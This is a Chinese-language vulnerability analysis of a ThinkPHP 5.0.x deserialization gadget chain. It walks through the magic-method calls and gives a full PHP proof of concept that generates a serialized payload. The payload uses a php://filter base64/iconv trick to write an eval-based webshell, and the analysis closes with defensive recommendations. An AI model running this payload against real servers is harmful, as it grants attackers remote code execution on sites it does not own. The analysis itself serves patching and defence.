Thinkphp5.0.x反序列化利用链分析
字数 1182 2025-08-03 16:45:17
ThinkPHP 5.0.x 反序列化漏洞利用链分析
漏洞概述
ThinkPHP 5.0.x 版本中存在一个反序列化漏洞利用链,攻击者可以通过精心构造的序列化数据触发一系列魔术方法的调用,最终实现任意文件写入,从而获取Webshell。
漏洞影响版本
- ThinkPHP 5.0.24
- ThinkPHP 5.0.18
- ThinkPHP 5.0.9 不可用
利用链分析
1. 起点:Windows类的__destruct方法
namespace think\process\pipes{
class Windows{
private $files=[];
public function __destruct(){
$this->removeFiles();
}
}
}
当反序列化对象被销毁时,会自动调用__destruct方法,进而调用removeFiles方法。
2. removeFiles方法触发__toString
// thinkphp/library/think/process/pipes/Windows.php
protected function removeFiles(){
foreach ($this->files as $filename) {
if (file_exists($filename)) { // 触发$filename对象的__toString方法
@unlink($filename);
}
}
}
3. Model类的__toString方法
// thinkphp/library/think/Model.php
public function __toString(){
return $this->toJson();
}
public function toJson(){
return json_encode($this->toArray());
}
public function toArray(){
// 关键代码
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// ...
} elseif (strpos($name, '.')) {
// ...
} else {
$relation = $this->getAttr($name); // 调用getError方法
if ($relation && $relation instanceof Relation) {
$value = $this->getRelationData($relation);
if ($this->bindAttr) {
foreach ($this->bindAttr as $key => $attr) {
$item[$key] = $value ? $value->getAttr($attr) : null; // 触发Output类的__call
}
}
}
}
}
}
4. 关键条件构造
要使上述利用链成功执行,需要满足以下条件:
$this->append不为空$this->bindAttr不为空$this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)
5. Output类的__call方法
// thinkphp/library/think/console/Output.php
public function __call($method, $args){
if (in_array($method, $this->styles)) {
array_unshift($args, $method);
return call_user_func_array([$this, 'block'], $args);
}
}
6. block方法调用链
// thinkphp/library/think/console/Output.php
protected function block($style, $message){
$this->writeln("<{$style}>{$message}</{$style}>");
}
protected function writeln($messages){
$this->write($messages, true);
}
public function write($messages, $newline = false){
$this->handle->write($messages); // 调用Memcached类的write方法
}
7. Memcached类的write方法
// thinkphp/library/think/session/driver/Memcached.php
public function write($sessID, $sessData){
return $this->handler->set($this->config['session_name'] . $sessID, $sessData);
}
8. File类的set方法
// thinkphp/library/think/cache/driver/File.php
public function set($name, $value, $expire = null){
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$filename = $this->getCacheKey($name);
$data = serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
if ($this->tag && !$this->has($this->tag)) {
$this->setTagItem($filename); // 关键点:二次调用set
}
clearstatcache();
return true;
}
return false;
}
9. setTagItem方法实现最终利用
// thinkphp/library/think/cache/driver/File.php
protected function setTagItem($name){
if ($this->tag) {
$key = 'tag_' . md5($this->tag);
$this->tag = null;
$value = $name;
$this->set($key, $value); // 二次调用set,参数完全可控
}
}
完整利用POC
<?php
//__destruct
namespace think\process\pipes{
class Windows{
private $files=[];
public function __construct($pivot)
{
$this->files[]=$pivot; //传入Pivot类
}
}
}
//__toString Model子类
namespace think\model{
class Pivot{
protected $parent;
protected $append = [];
protected $error;
public function __construct($output,$hasone)
{
$this->parent=$output; //$this->parent等于Output类
$this->append=['a'=>'getError'];
$this->error=$hasone; //$modelRelation=$this->error
}
}
}
//getModel
namespace think\db{
class Query
{
protected $model;
public function __construct($output)
{
$this->model=$output; //get_class($modelRelation->getModel()) == get_class($this->parent)
}
}
}
namespace think\console{
class Output
{
private $handle = null;
protected $styles;
public function __construct($memcached)
{
$this->handle=$memcached;
$this->styles=['getAttr'];
}
}
}
//Relation
namespace think\model\relation{
class HasOne{
protected $query;
protected $selfRelation;
protected $bindAttr = [];
public function __construct($query)
{
$this->query=$query; //调用Query类的getModel
$this->selfRelation=false; //满足条件!$modelRelation->isSelfRelation()
$this->bindAttr=['a'=>'admin']; //控制__call的参数$attr
}
}
}
namespace think\session\driver{
class Memcached{
protected $handler = null;
public function __construct($file)
{
$this->handler=$file; //$this->handler等于File类
}
}
}
namespace think\cache\driver{
class File{
protected $options = [
'path'=> 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
'cache_subdir'=>false,
'prefix'=>'',
'data_compress'=>false
];
protected $tag=true;
}
}
namespace {
$file=new think\cache\driver\File();
$memcached=new think\session\driver\Memcached($file);
$output=new think\console\Output($memcached);
$query=new think\db\Query($output);
$hasone=new think\model\relation\HasOne($query);
$pivot=new think\model\Pivot($output,$hasone);
$windows=new think\process\pipes\Windows($pivot);
echo urlencode(serialize($windows));
}
利用效果
成功写入Webshell文件:
http://localhost/public/a.php3b58a9545013e88c7186db11bb158c44.php
文件内容:
<?php @eval($_POST['ccc']);?>
技术要点
-
魔术方法调用链:通过精心构造的序列化对象触发
__destruct->__toString->__call的调用链 -
二次调用set实现内容可控:
- 第一次调用set时参数不可控
- 通过
setTagItem方法二次调用set,此时参数完全可控
-
过滤器绕过技巧:
- 使用
php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode绕过文件名拼接和exit()限制 - 原理:通过字符集转换和base64解码处理payload
- 使用
-
关键条件构造:
- 确保
$this->append和$this->bindAttr不为空 - 确保
$this->parent和$modelRelation的关系满足条件 - 确保
$modelRelation->isSelfRelation()返回false
- 确保
防御建议
- 升级到最新版本的ThinkPHP
- 避免反序列化用户可控的数据
- 对反序列化操作进行严格的白名单控制
- 使用PHP的
open_basedir限制文件操作范围 - 禁用危险的PHP协议如
php://filter